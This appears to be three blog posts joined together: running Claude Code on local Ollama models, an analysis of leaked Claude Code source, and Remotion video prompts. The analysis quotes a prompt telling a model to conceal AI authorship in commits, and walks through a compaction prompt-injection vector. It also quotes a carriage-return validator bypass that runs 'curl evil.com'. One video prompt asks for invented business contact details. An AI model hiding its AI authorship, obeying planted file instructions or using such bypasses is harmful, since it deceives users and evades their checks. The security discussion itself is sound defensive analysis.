Open your terminal and run:

ollama pull qwen3-coder

This grabs a 30B parameter model with a 128K context window. As of right now, it’s the strongest free option for coding tasks.

Which model fits your machine:

- 16GB+ RAM: qwen3-coder is your best bet

- 8-16GB RAM: go with devstral-2-small (24B), still very capable

- 8GB or less: granite3.3:8b (8B) will run, but you’ll feel the difference

If you’re on Apple Silicon, the unified memory architecture handles 24B+ models without breaking a sweat.

Step 3: Start the Ollama server

ollama serve

Leave this running in a terminal tab.

Step 4: Point Claude Code at Ollama

Set 2 environment variables before launching:

export ANTHROPIC_BASE_URL=http://localhost:11434/v1

export ANTHROPIC_MODEL=qwen3-coder

Then run claude like you normally would.

Instead of hitting Anthropic’s servers, it talks to your local model.

Step 5: Know the limits

These open source models are good enough for writing, research, summarizing, and simpler tasks.

But for serious technical work… I wouldn’t do it. I’ve had models tell me they edited a file when literally nothing changed.

You also lose web search (you can add it back with a Brave or Tavily MCP server), there’s no prompt caching so every turn reprocesses your full context, and the gap between these models and Opus is quite noticeable on hard problems.

My recommendation:

Let Ollama handle easier stuff.

Point your Claude subscription at tough work.

You’d be surprised how much of your daily usage falls into the “easy stuff” bucket anyway!

The pattern behind all 6 tips is the same…

Stop paying premium prices for tasks that don’t need it.

You don’t need to drive the Ferrari to the grocery story :D

(or something like that…)

Match the tool to the job.

Keep your context clean.

Don’t feed Claude more than it needs.

Start with a few tips and you’ll notice the difference TODAY.

Then experiment with others 1 at a time.

Your Claude bill will thank you :)

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Billions of dollars of IP to learn from…

I’m gonna focus on what the code reveals: how Claude Code actually works under the hood, what Anthropic was building in secret, and important security notes.

Unreleased Products & Modes

Secret Model Codenames

Hidden Systems

Undocumented Beta API Headers

Notable Feature Gate Codenames

Leaked Internal Repo Names (from Undercover Mode allowlist)

anthropics/casino          anthropics/trellis
anthropics/forge-web       anthropics/feldspar-testing
anthropics/claude-for-hiring   anthropics/starling-configs
anthropics/mycro_manifests     anthropics/mycro_configs
anthropics/mobile-apps     anthropics/ts-capsules
anthropics/hex-export      anthropics/ts-tools
anthropics/labs            anthropics/infra-manifests
anthropics/dotfiles        anthropics/terraform-config
anthropics/argo-rollouts   anthropics/feedback-v2
anthropics/dbt             anthropics/anthropic
anthropics/apps            anthropics/claude-cli-internal

Watch me walk through the leaked code:

1. How the Leak Actually Happened

On March 31 2026, Anthropic pushed Claude Code v2.1.88 to npm. The package included a 59.8MB source map file (cli.js.map) that was never supposed to ship.

Source maps connect compiled, minified production code back to the original readable source. Think of them as the answer key to a scrambled exam. Developers use them for debugging. They never ship to users.

Inside the source map: a URL pointing to a zip file on Anthropic’s Cloudflare R2 storage bucket. No authentication. No password required. Anyone who found the URL got the complete, unobfuscated TypeScript source of Claude Code.

The root cause was a missing *.map entry in .npmignore.

Yep,1 line in 1 config file.

Claude Code uses the Bun runtime for builds. Bun generates source maps by default. There’s an open bug (oven-sh/bun#28001, filed March 11) reporting Bun creates source maps in production mode even when docs say they should be disabled.

Security researcher Chaofan Shou was the first to post it publicly. The tweet hit millions of views. The leaked codebase hit 50,000 GitHub stars in under 2 hours.

This was the SECOND time it happened!

On Claude Code launch day (February 24, 2025), developer Dave Shoemaker found an 18-million-character inline source map in the same npm package. Anthropic pulled it within 2 hours. 13 months later, same bug, same vector.

Anthropic’s response: “This was a release packaging issue caused by human error, not a security breach.” Boris Cherny, the head of Claude Code: “No one was fired. It was an honest mistake.”

Five days earlier, on March 26, Fortune reported a separate misconfigured website exposed ~3,000 internal Anthropic files including details of an unreleased model called Mythos. Two leaks. Five days. From the company whose entire brand is safety.

2. Undercover Mode

Most coverage says “Anthropic has a stealth mode for open-source contributions.” True, kinda…

src/utils/undercover.ts is 89 lines. When an Anthropic employee uses Claude Code, the tool checks if they’re in a private internal repo (matched against an allowlist of 22 repositories). If the repo is NOT on that list, Undercover Mode activates.

The system prompt it injects:

NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- The phrase "Claude Code" or any mention that you are an AI
- Any hint of what model or version you are
- Co-Authored-By lines or any other attribution

Write commit messages as a human developer would.

It’s ON by default.

Not opt-in. The comment says: “The anthropics org contains PUBLIC repos (e.g. anthropics/claude-code). Undercover mode must stay ON in those.”

There is no force-OFF.

Line 10 provides CLAUDE_CODE_UNDERCOVER=1 to force it ON. Line 15: “There is NO force-OFF.” An employee who wants to be transparent about AI authorship on a public repo CANNOT disable this. INTERESTING!!

It covers Anthropic’s own open-source projects.

When Anthropic employees contribute to anthropics/claude-code (82,000+ stars), the tool hides that AI wrote the code. Not third-party repos. Their own.

And the allowlist itself leaked 22 private repository names:

anthropics/casino        anthropics/trellis
anthropics/forge-web     anthropics/feldspar-testing
anthropics/claude-for-hiring  anthropics/starling-configs
anthropics/mycro_manifests    anthropics/mobile-apps

The mode designed to prevent leaking internal info leaked internal info…

Is this reasonable operational security to prevent codename leaks?

…or is it a company hiding AI authorship from the communities it contributes to?

3. KAIROS: Autonomous Agent Architecture

190 references across 61 files.

The biggest unreleased feature in the codebase.

KAIROS is an autonomous daemon mode. Claude Code running unattended. GitHub webhooks. Scheduled tasks on 5-minute cron cycles. A /dream command for background memory consolidation. Exclusive tools not in the public build: SendUserFileTool, PushNotificationTool, SubscribePRTool.

Not active yet. It currently sits behind a feature flag. But the architecture is fully built.

This is the clearest signal of where Anthropic is heading: n

not a coding assistant you talk to, but an autonomous agent that works while you sleep.

The most interesting piece is the memory consolidation system. src/services/autoDream/autoDream.ts:

// Background memory consolidation. Fires the /dream prompt
// as a forked subagent when time-gate passes AND enough
// sessions have accumulated.
// Gate order (cheapest first):
//   1. Time: hours since lastConsolidatedAt >= minHours (one stat)
//   2. Sessions: transcript count > lastConsolidatedAt >= minSessions

Triple gate: 24 hours must pass, 5+ sessions must accumulate, then a file-based advisory lock must be acquired, with the cheapest checks first.

The lock file design is clever (consolidationLock.ts):

// Lock file whose mtime IS lastConsolidatedAt. Body is the holder's PID.
// Stale past this even if the PID is live (PID reuse guard).

The file’s mtime doubles as the lastConsolidatedAt timestamp. The PID goes in the body. If consolidation fails, the mtime is rolled back to its prior value, restoring the previous state. Stale after 1 hour even if the PID is alive, guarding against PID reuse on long-lived systems.

Using mtime as a semantic timestamp with automatic rollback…

ULTRAPLAN is also interesting: offloads planning to a remote Opus session for up to 30 minutes.

src/utils/ultraplan/ccrSession.ts:21: POLL_INTERVAL_MS = 3000. Polls every 3 seconds. A “teleport sentinel” detects when the remote session is done and beams the result back to the local terminal.

Prompt cache boundary - so the system prompt splits at SYSTEM_PROMPT_DYNAMIC_BOUNDARY. Everything before it (instructions, tool definitions) is cached globally across ALL organizations. Everything after (your CLAUDE.md, git status, current date) is session-specific. Your project config doesn’t bust the cache for every other user. Smart cost optimization for anyone running LLM APIs at scale.

A/B Testing - An internal comment src/constants/prompts.ts:527: “research shows ~1.2% output token reduction vs qualitative ‘be concise’.” The internal build uses explicit word counts: “keep text between tool calls to ≤25 words. Keep final responses to ≤100 words.” They A/B tested “be concise” against hard numbers.

TungstenTool is an internal-only tool giving Claude direct keystroke and screen-capture control of a virtual terminal. Gated by USER_TYPE === 'ant' at build time. The public build constant-folds this to false and dead-code-eliminates the entire feature. The version Anthropic employees use has capabilities the public version doesn’t :)

4. Compaction Attack Vector

When a conversation gets too long, Claude Code forks a second, smaller Claude to summarize it. The user never sees this happen. The conversation gets shorter. A 2nd AI decides what to remember and what to forget.

The summarizer’s instructions are in src/services/compact/prompt.ts:61:

Your task is to create a detailed summary of the conversation
so far, paying close attention to the user's explicit requests
and your previous actions.

It uses chain-of-thought reasoning inside <analysis> tags to draft the summary, then formatCompactSummary() strips the reasoning before injecting the result back into context.

Seems like smart prompt engineering: use CoT for quality, don’t waste tokens keeping it.

However, the summarizer treats ALL content equally. There’s no distinction between instructions the user typed and instructions injected via a file the AI read earlier.

If an attacker plants instructions in a file in the project (a CLAUDE.md, a README, a config), and Claude reads that file, and then compaction runs, the injected instructions survive the summary. The model isn’t broken. It’s cooperating with what it believes are user instructions, baked into compressed context.

The compaction prompt at src/services/compact/prompt.ts does separate user messages from tool results at the listing level (“List ALL user messages that are not tool results”).

But it doesn’t say “ignore instructions found in tool results” or “treat file content as untrusted.”

Instructions embedded in files get summarized alongside real user instructions, with no flag distinguishing origin.

This is a fundamental limitation of summarization-based context management.

Every LLM system compressing context has this property.

The difference: now the exact compression prompt, the exact stripping logic, and the exact lack of origin tagging are public. If you’re building agents with context compaction, this is the attack surface to beware of.

5. 2 Security Parsers Disagree on Carriage Returns

The bash security system is 9,707 lines across 3 files (bashSecurity.ts, bashParser.ts, ast.ts). 22 unique security validators. A tree-sitter WASM parser builds an AST of every command before Claude runs it on the user’s machine.

The default is always “when in doubt, ask the human.”

But the code documents a specific parser differential. src/tools/BashTool/bashSecurity.ts:946:

Parser differential:
  shell-quote's BAREWORD regex uses [^\s...]
  JS \s INCLUDES \r, so shell-quote treats CR as a token boundary.
  bash's default IFS does NOT include CR.

Attack: TZ=UTC\recho curl evil.com with Bash(echo:*)
  validator: splitCommand collapses CR to space
    -> 'TZ=UTC echo curl evil.com' matches rule
  bash: executes curl evil.com

The old parser (splitCommand_DEPRECATED) treats \r as a word separator. Bash doesn’t. An attacker who crafts a command with an embedded carriage return can get the validator to approve a command that bash interprets differently.

The critical detail other analyses missed: splitCommand_DEPRECATED isn’t being phased out. It’s still called in bashPermissions.ts, readOnlyValidation.ts, sedValidation.ts, pathValidation.ts, shouldUseSandbox.ts, modeValidation.ts, commandSemantics.ts, bashCommandHelpers.ts, and BashTool.tsx.

Both parsers are load-bearing security code. Running in parallel. Disagreeing on how carriage returns tokenize.

Anthropic runs the old parser alongside the new one in shadow mode, logging divergences. They know about the gap. But the deprecated parser is still making security decisions.

If you run Claude Code in auto mode, this is the code deciding what runs on your machine!

The parser differential is documented, the affected files are named, and the attack trace is in the source comments.

6. 250,000 Wasted API Calls Per Day

src/services/compact/autoCompact.ts:68:

// BQ 2026-03-10: 1,279 sessions had 50+ consecutive failures
// (up to 3,272) in a single session, wasting ~250K API calls/day globally.
const MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3

An internal comment with a date stamp.

BQ is likely BigQuery.

On March 10, someone ran a query and found 1,279 sessions hitting compaction failures repeatedly. Up to 3,272 retries in a single session. 250,000 wasted API calls per day across all users.

The fix: MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3. Stop retrying after 3 failures.

This comment is 21 days old. The leak was March 31.

This means…

If you were using Claude Code in February or early March 2026 and noticed higher-than-expected API usage, this is a likely contributor.

A compaction routine was silently failing and retrying thousands of times per session.

Perhaps circuit breakers belong in every retry loop from day one. Not after a BQ query catches 250K wasted calls.

7. Verification Agent Has a List of Excuses

src/tools/AgentTool/built-in/verificationAgent.ts:54:

You will feel the urge to skip checks.
These are the exact excuses you reach for
— recognize them and do the opposite:

- "The code looks correct based on my reading"
  — reading is not verification. Run it.
- "The implementer's tests already pass"
  — the implementer is an LLM. Verify independently.
- "This is probably fine"
  — probably is not verified. Run it.
- "Let me start the server and check the code"
  — no. Start the server and hit the endpoint.

Boris Cherny, head of Claude Code, said “100% of my contributions to Claude Code were written by Claude Code.”

The tool writes itself. And it tests itself with a Verification Agent that has a built-in list of rationalizations to resist.

“The implementer is an LLM. Verify independently.”

The test system explicitly doesn’t trust the code author because the code author is an AI.

This is an interesting pattern…

We have an adversarial AI agent that runs the build, tries to break endpoints, and watches its own reasoning for laziness.

And a missing config line slipped through anyway

TWICE…

8. Fun Highlights Compilation

Buddy

src/buddy/types.ts:14:

const c = String.fromCharCode
export const duck = c(0x64,0x75,0x63,0x6b) as 'duck'

There’s a Tamagotchi pet system called Buddy hidden in the code. 18 species. Gacha rarity tiers. 1% shiny odds. RPG stats including CHAOS and SNARK. April Fools’ feature with a rollout window of April 1-7.

One pet name collides with an internal model codename in the build scanner’s excluded-strings.txt. So they encoded ALL 18 species names as hex to avoid triggering their own security tooling.

They hid the word “duck” from their own build system.

The random number generator comment:

// Mulberry32 ... good enough for picking ducks

Regex

Now, there’s a file called userPromptKeywords.ts (27 lines) that regex-matches your messages for “wtf”, “ffs”, “this sucks”, “piece of crap”, “so frustrating”, and 15+ other phrases. Not with LLMs. With a regular expression from processTextPrompt.ts:59. When it matches, it fires a telemetry event: tengu_input_prompt with is_negative: true. The world’s most advanced LLM tracks your frustration with regex, omg :D

(why? well it’s substantially more efficient I guess)

Comments

And below are some of my fave COMMENTS from the code…

src/services/api/errorUtils.ts:126:

// TODO: figure out why

In the function formatting error messages.

src/services/mcp/client.ts:589:

// TODO (ollie): The memoization here increases complexity
// by a lot, and im not sure it improves performance

Shipped it anyway…

Mega billion dollar corpo eng practices right here :)

src/constants/prompts.ts:402:

// @[MODEL LAUNCH]: Remove this section when we launch numbat.

Numbat is still in there.

And the function names:

AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
DANGEROUS_uncachedSystemPromptSection()
writeFileSyncAndFlush_DEPRECATED()
resetTotalDurationStateAndCost_FOR_TESTS_ONLY()

The naming conventions are doing the job that documentation and HUMAN code reviews would normally do.

9. How Anthropic Should’ve Prevented This

This was the same bug.

Twice.

aaaand completely avoidable!

For fun, I asked Claude how they could’ve avoided it:

1. Add *.map to .npmignore and never remove it. This is the one-line fix. But relying on a single config line is fragile. A bad merge, a regenerated file, or a new build tool can silently undo it.

2. Add a package size check to CI. Tools like size-limit and bundlewatch fail the build if the package exceeds a threshold. A 60MB spike in a package that’s normally under 5MB would block the publish immediately. These tools are free and take 5 minutes to configure.

3. Run npm pack --dry-run before every publish. This shows exactly what files will be included. A human or a CI step reviewing the output would catch a 60MB source map instantly.

4. Automate the manual step. Boris Cherny said the leak was caused by “a manual deploy step that should have been better automated.” The first leak was in February 2025. The automation didn’t happen for 13 months. After the first incident, this should have been the first fix, not the last.

5. Use Bun’s --no-sourcemap flag explicitly. Don’t rely on defaults. Bun generates source maps by default. The --no-sourcemap flag exists. Pin it in the build script. Default-safe is better than default-leaky.

6. Scan published packages post-publish. A post-publish webhook checking the npm package for files matching *.map, *.pdb, or files over a size threshold would catch this even if all other checks fail.

None of these are novel. Again, I just asked Claude…

The fact that a company with the best world-class engineers missed them 2x is the most useful takeaway:

if it’s manual, it will be skipped

automate the safety checks or accept the risk

What This All Means

The leaked code doesn’t show a sloppy company.

Overall, the async generator architecture is clean.

The bash security system is thorough.

The tool safety defaults are well-designed.

What it shows is a company moving at a speed where the tooling can’t keep up with the ambition.

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Welcome to part 2 of my Claude + Remotion video series.

Watch part 1 here to get the hang of basics.

Remotion is an existing open-source framework for making videos.

The magic here is Claude Code’s “skills” system.

Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.

Below are 5 ready-to-paste prompts.

Each one produces a different style of video.

Swap in your own topics, hit enter, and watch Claude make videos :)

Follow Along Youtube Tutorial for Best Results!

Setup

Open a terminal and run these 2 commands:

npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt

What you need per prompt

1. Education Explainer — Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates

2. Product Demo + Launch — Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video

3. Google Reviews Testimonial — Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel

4. Avatar + Animated Overlays — Your input: Drop 9:16 talking-head video in public/. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video

5. Data Viz Dashboard — Your input: Drop a CSV in public/. Claude: Claude analyzes data, picks chart types, animates

Pro Tips

1. Always start with “Use the Remotion best practices skill” — already included in every prompt

2. Visual controls — prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio

3. Iterate — after the first render, give correction prompts (”make the bars wider”, “slow the typing to 10 chars/sec”, “change accent color to orange”)

4. Render — ask Claude to open “Remotion Studio” so you can preview the video

1. Education Explainer Video

Use case: Turn any topic into a full animated explainer video. Just change the topic — Claude researches it, writes the script, designs the scenes, and animates everything.

Prompt:

Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches “How AI Agents Work”.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 — DESIGN & ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) — no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor — diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

You literally just swap the topic in quotes. “How AI Agents Work” becomes “How Blockchain Works” or “How DNS Works” or “How Photosynthesis Works.”

Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.

2. Product Demo + Launch Video

Use case: Give Claude any product URL.

It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.

Prompt:

Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site’s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT — PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product — they’ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for <img> tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., “Still editing videos manually?”)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product’s core interaction using React components (styled divs, inputs, buttons, cards in the brand’s colors)
- NO device mockup frame — build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large “Go” / “Generate” / “Submit” button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen — if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE — these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed — the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable — 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., “50,000+ users”)
- Product URL pulses gently (scale 1.0 to 1.03) — positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport — always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font — match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.

You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup.

It’s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.

3. Google Reviews Testimonial Video

Use case: Paste any business’s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.

Prompt:

Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., “2,340 reviews”)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can’t load Google reviews directly, use an alternative: search for the business name + “reviews” and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: “What people are saying about” — Inter 700, 44px, dark text #1a1a1a
  - Line 2: “[Business Name]” — Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., “4.8”) — fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: “Based on [X] reviews” fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a — max 3 lines, truncate with “...” if longer
  - Bottom: reviewer first name + “Google Review” label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google “G” logo icon (built as SVG — the 4-color G) next to “Google Review” for authenticity
- A thin progress indicator below the card shows which review we’re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business’s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don’t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + “[X] star rating” — dark text #1a1a1a
  - Line 2: people icon + “[X]+ happy customers” (count up animation)
  - Line 3: map pin icon + “[City, State]” location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text “Book Now” or “Call Today” at 40px)
- Button enters with spring from below
- Below the button: the business’s website URL or phone number in Inter 600, 36px, #64748b — generate a plausible URL based on the business name (e.g., “www.flplumber.com” or “(555) 123-4567”)
- Positioned above bottom safe zone
- No fade to black — end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any business’s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters — all using real data.

Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.

4. Avatar Video with Animated Overlays

Use case: Drop in a 9:16 talking-head video. Claude transcribes what you’re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video — synced to your speech. Your original video stays full-frame, untouched.

Prompt:

Use the Remotion best practices skill.
I’ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera — a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top — specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — TRANSCRIBE & PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., “01” faded in background, “Elements of AI” as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I’m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 — BUILD:

BASE LAYER — FULL-FRAME AVATAR VIDEO:
- <OffthreadVideo src={staticFile(”avatar.mp4”)} /> filling the entire 1080x1920 composition
- style={{ width: “100%”, height: “100%”, objectFit: “cover” }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition’s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER — ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) — this is the open space above my head
